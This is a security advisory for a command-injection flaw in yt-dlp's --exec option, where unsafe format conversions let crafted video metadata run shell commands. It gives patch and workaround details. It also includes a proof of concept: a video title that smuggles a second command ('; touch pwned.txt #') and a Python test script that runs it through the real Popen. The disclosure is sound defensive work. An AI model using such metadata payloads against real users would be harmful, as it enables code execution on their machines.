PT-2026-53030 · Pypi · Yt-Dlp
Publicado
2026-06-16
·
Atualizado
2026-06-16
CVSS v3.1
7.5
Alta
| Vetor | AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H |
Summary
yt-dlp's
--exec option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. %(title)s) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.Details
Since yt-dlp version 2021.04.11, the
--exec option has supported "output template syntax", which is a superset of Python's printf-style string formatting also used by the --output option. This means the user is able to pass a "command template" as an argument to the --exec option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.yt-dlp implements a
%()q conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as %()s which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. ;, &, |) to break out of the intended command and execute payload commands.Impact
The impact is limited to users who pass an
--exec command template containing unsafe conversions in their yt-dlp command or configuration file: %()s, %()a, %()r, %()j, %()S (including any of their flagged variants.)Patches
yt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an
--exec command template to those known to be safe: %()d, %()i, %()f, %()q (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an --exec argument containing output template syntax.Workarounds
This vulnerability can be fully mitigated by doing any of the following:
- Upgrade yt-dlp to version 2026.06.09 or later
- Only use safe conversions (e.g.
%()d,%()i,%()f,%()q) in any--execcommand templates - Do not use "output template syntax" in any
--execarguments - Do not use the
--execoption
Proof-of-Concept
- An attacker sets the title of a video to a malicious payload, e.g.:
video; touch pwned.txt # - The victim downloads this video using yt-dlp with the
--execflag.
Reproduction steps (simulated):
- Create a python script poc.py to simulate the internal behavior:
bash
import unittest
import os
from yt dlp.postprocessor.exec import ExecPP
from yt dlp.YoutubeDL import YoutubeDL
from yt dlp.utils import PostProcessingError
# Import Popen to use the REAL one for the PoC (to actually create the file)
from yt dlp.utils import Popen as RealPopen
class TestDemonstrativePoC(unittest.TestCase):
FILE NAME = "PWNED.txt"
def setUp(self):
# Remove the file if it exists
if os.path.exists(self.FILE NAME):
os.remove(self.FILE NAME)
def test 1 demonstrate vulnerability simulated(self):
"""
Simulates the code BEFORE the fix to show what would happen.
"""
print("
--- TEST 1: Simulating vulnerable state ---")
# 1. Define the vulnerable Parse Method
def vulnerable parse cmd(self, cmd, info):
# This mimics the code before my patch
tmpl, tmpl dict = self. downloader.prepare outtmpl(cmd, info)
if tmpl dict:
return self. downloader.escape outtmpl(tmpl) % tmpl dict
return cmd
# 2. Patch the class temporarily
original parse cmd = ExecPP.parse cmd
ExecPP.parse cmd = vulnerable parse cmd
info = {
'id': '1234',
# MALICIOUS TITLE:
# 1. 'video' gets echoed
# 2. ; separator
# 3. touch PWNED.txt creates the file
# 4. # comments out the rest
'title': f'video; touch {self.FILE NAME} #',
'ext': 'mp4',
'filepath': 'video.mp4'
}
ydl = YoutubeDL({'verbose': False, 'quiet': True})
try:
print(f"[*] Payload Title: {info['title']}")
print("[*] Executing: echo %(title)s")
# Use the REAL Popen to actually execute shell commands
import yt dlp.postprocessor.exec
original popen ref = yt dlp.postprocessor.exec.Popen
yt dlp.postprocessor.exec.Popen = RealPopen
pp = ExecPP(ydl, 'echo %(title)s')
pp.run(info)
# Restore Popen ref
yt dlp.postprocessor.exec.Popen = original popen ref
# Check if file was created
if os.path.exists(self.FILE NAME):
print(f"[!] VULNERABILITY CONFIRMED: File '{self.FILE NAME}' was created on disk!")
else:
print("[?] File not created. Payload might have failed.")
finally:
# Restore the secure method
ExecPP.parse cmd = original parse cmd
if name == ' main ':
unittest.main()- Run the script:
python3 poc.py - Check the directory. A file named
PWNED.txtwill be created, proving arbitrary command execution.
Correção
OS Command Injection
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Produtos afetados
Yt-Dlp